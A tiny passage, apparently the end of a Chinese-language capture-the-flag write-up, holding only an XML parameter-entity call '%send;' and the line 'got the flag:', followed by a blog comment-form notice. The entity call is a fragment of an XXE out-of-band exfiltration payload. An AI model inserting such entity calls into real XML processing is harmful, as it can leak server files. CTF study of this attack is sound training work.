%send;
得到flag:


留言

您的电子邮箱地址不会被公开。 必填项已用 * 标注